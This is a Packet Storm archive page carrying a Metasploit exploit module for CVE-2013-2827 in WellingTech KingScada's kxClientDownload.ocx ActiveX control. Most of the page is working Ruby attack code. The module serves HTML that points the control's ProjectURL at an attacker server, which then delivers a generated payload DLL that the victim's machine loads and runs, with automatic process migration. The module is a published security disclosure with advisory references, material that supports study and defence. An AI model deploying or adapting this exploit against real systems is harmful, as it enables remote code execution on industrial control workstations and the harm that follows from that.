Twenty Year Anniversary

KingScada kxClientDownload.ocx ActiveX Remote Code Execution

KingScada kxClientDownload.ocx ActiveX Remote Code Execution
Posted Feb 11, 2014
Authored by Andrea Micalizzi, juan vazquez | Site metasploit.com

This Metasploit module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. The ProjectURL property can be abused to download and load arbitrary DLLs from arbitrary locations, leading to arbitrary code execution, because of a dangerous usage of LoadLibrary. Due to the nature of the vulnerability, this module will work only when Protected Mode is not present or not enabled.

tags | exploit, arbitrary, code execution, activex
advisories | CVE-2013-2827
MD5 | 287d97f2652981fe694264c71eb7c221

KingScada kxClientDownload.ocx ActiveX Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
'Description' => %q{
This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
The ProjectURL property can be abused to download and load arbitrary DLLs from
arbitrary locations, leading to arbitrary code execution, because of a dangerous
usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
only when Protected Mode is not present or not enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi', # aka rgod original discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2013-2827'],
['OSVDB', '102135'],
['BID', '64941'],
['ZDI', '14-011'],
['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => /MSIE|KXCLIE/i
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
'DisableNopes' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 14 2014'))
end

def on_request_exploit(cli, request, target_info)
print_status("Requested: #{request.uri}")

if request.uri =~ /\/libs\/.*\.dll/
print_good("Sending DLL payload")
send_response(cli,
generate_payload_dll(:code => get_payload(cli, target_info)),
'Content-Type' => 'application/octet-stream'
)
return
elsif request.uri =~ /\/libs\//
print_status("Sending not found")
send_not_found(cli)
return
end

content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
EOS

print_status("Sending #{self.name}")
send_response_html(cli, content)
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    4 Files
  • 15
    Aug 15th
    23 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close